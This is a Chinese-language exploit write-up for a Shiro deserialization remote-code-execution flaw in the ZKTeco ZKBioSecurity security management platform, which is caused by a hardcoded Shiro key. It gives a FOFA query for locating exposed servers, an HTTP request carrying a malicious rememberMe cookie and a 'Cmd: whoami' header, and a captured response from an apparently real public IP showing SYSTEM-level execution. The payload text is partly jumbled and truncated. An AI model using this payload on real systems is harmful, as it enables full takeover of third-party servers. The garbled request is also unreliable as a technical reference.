Z10-1Zkteco百傲瑞达-安防管理系统平台-反序列化RCE

漏洞描述:

Zkteco 百傲瑞达安防管理系统平台存在 shiro 反序列化漏洞,该漏洞源于软件存在硬编码的 shiro-key, 攻击者可利用该 key 生成恶意的序列化数据,在服务器上执行任意代码,执行系统命令、 或打入内存马等,获取服务器权限。



网络测绘:

fofa语法:

FOFA: title="ZKBioSecurity" && body="Automatic login within two weeks"

漏洞复现:

payload:

GET / HTTP/1.1

Host: your-ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Cmd: who ami

Cookie: rememberMe=kP Accept-Encoding: gzip emberMe=kPH+bixk5D2deZiixcaaaExg7EWKTeFZkFrgR4FfAGBNnoSgHEfKESBMQECJwt+ceZp4VwLFx5XJDaWao1Fbavx7SZ+t7zGnhcx3V90PiU6V/R+669FmF/RmRInqP9BPFAZpGq1xmt1P3T5Sr6gKzM

效果图:

```
Responses 23bytes / 3012ms
Request
                                                                                         数据包扫描
        GET - / - HTTP/1.1
                                                                                                                                               HTTP/1.1 - 200 - OK
        Host : 201.130.154.24:8088
                                                                                                                                               Server: Apache-Coyote/1.1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
                                                                                                                                               Date: Fri, 01 Dec 2023 19:37:15 GMT
        Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                                                               Content-Length: 23
        Cmd: whoami
        Cookie: rememberMe=kPH+bIxk5D2deZiIxcaaaExg7EWKTeFZkFrgR4FfAGBNnoSgHEfKEsBMQECJwt
                                                                                                                                               nt authority\system
        +ceZp4VwLFx5XJDaWao1Fbavx7SZ+t7zGnhcx3V90PiU6V/R+669FmF/RmRInqP9BPFAZpGqLxmt1P3T55r6gKzMAqq0/WdVOg5NP++NRXRy4e1PepBJ+TFB0EZkYszV58tZXoMiQSXEpuyr/nhx7LmBTFI11uI2negnjXMrcXcJQSp1S7/
        3dJNp3MMY4IUXs13YZok2rW0Sf7Ep25fOu87Caib6C7eOm351uKy0I77vg37ErANLBDN
        +dR8sN2QoEXvgMMrV77IH1mQQ6fxNOMenCY6Q5PcHo0ACqsPfwhlz1ms6S5hdANCr9F5TLWuYzGbV4PK58KXTVubT78y1aY03J2X
ju8xyyz5ZmEgKsk8XFaXGasY4AhvF15x9quD3JuMeqLpmzxW8yTUQa2/MX1ozfDT/cKZqQhU1IoMk31dFhHRwsx//
QxoELO797EXkcKGKThkvh4vJ/uPzbs0Xw4saKMKeJaMmmGdy4bpmwPpfvVCeqHSBsinqIIdwUm8cHCgML0gDLu7/
        PYXbhc4rP0ejbrgknnmdq1Z5f7Cq00fgUDfcGv/3cxSAHG+AIg3NXgtZ7ET1vgHJKmizbdJKcMVdyqmmk7ZNCbIq6U
        +VIu1T7EL9964wHMgb/3T4sPri/Sk/zo5ocPqF8UNjx1dc2GGqbRFYjL8+bgY/bejm67yzz02d4tDYhVm6Y7OoN/snJBSnnKOeYdoD2o50xOiZqrvxiXPhL4o4IqF90u3P+xGoOHLtYJfYC+FNue9cltbhFUHat9+gtaTqRQ7mQ2NCnvspUod747
        +30 + ABPqRPUoOXm3bAKINwG0gSMYMQa6Kag+0Du2XrIp6Ii/6LcYIYzFdLYVzWLtEsTJaZFAhl/cx6gRyANurY1cxp5xrMFTxP5
        +GYS/ddplT89zN4CwrDHeeYo2pNGA4NY4jUM5JhTyZVA/N8M5aqG8x52qDpM8N9IDnBn2/3HX1tCQsPNGj1y9WOrpz8/1XAFzE12twPYedbqMpETB2evBNHqf5NW9d+TK0pz5wmhbWuauFGn3MFOwGpZ+vghRCF19CLcjaR6tZC8dRCGYattq95/
        cR202LM6O9wPmGfCy48X5r3qQrzBt51Hz4sJ6t+mxueeZQNmnVAJP/sK9kPbgFt/
        f53BxE5azLwff9La7xFCbrpQS83woMwlNOTn9gC2kXb2lLt/31UVWuqXZFms23yOwaVLH00NqU8zWI6X54P5qPNUW/v5jq/VXaWMSGmYTtuVi9gL9LHuteStiNEmVYmYExTxc34onyXXSfoYxX8tuJEa0SESwENGN8tf1DNItrRwxLq4uSqEBjTpA376A0LV8cF
KDnzAIK2bEoauXualaRNIbpSSz5Rqw7tYUGtZMtsB7nbcBiQuEN2fYstEPMax1Si1kjtYxM3wgdk18Z4EzLUTXgtuNNoGCBHSdI5
        +8fWkwFXMkzxEdx+8LaqmqUWEBomWnXIyZXVxIdtp8cDRKT78oY+cLkjbZKF7yJXc87Wcximg1N/
        G7G3edppyvWNf32FP4f0vJ6ctNbzfGv9hfcmS8cHxXjEQ49cE3HE3JAwwC2nBVYVXa0i8pDGc7oc4GFzT
        +FhzYhK38FkcrpvcBJ1mhYypnZfFR+8qroPwbzJTliWkvzC+TJ4KMwYAyHn919Qu7cjdngcF7mD6gv7w7LC/
        fjmAhuxtPQ3RhDrPgOeoFLQuwUm3Q55MvWcJKI19iDVSJrzzVXQEmEz2AHMhbHDOrhBZ5LKTaAp162WG8sWVQvz3v8C22VH7UAnJ
        Yg5eyv0P427UAM8SwS0hFZUNL+L8VYhe2Q61Kz/HQRwCazAK9/z/sufgaVm3L5uPhd/
        yzkqbGb6Pqbz1DUPRYjvkB58Lbx12cACrcV9HFemw1KdUTnk5YewRsnjAbfbLYGuVI+Y/5DU20g0MoPxTpP9Gw/
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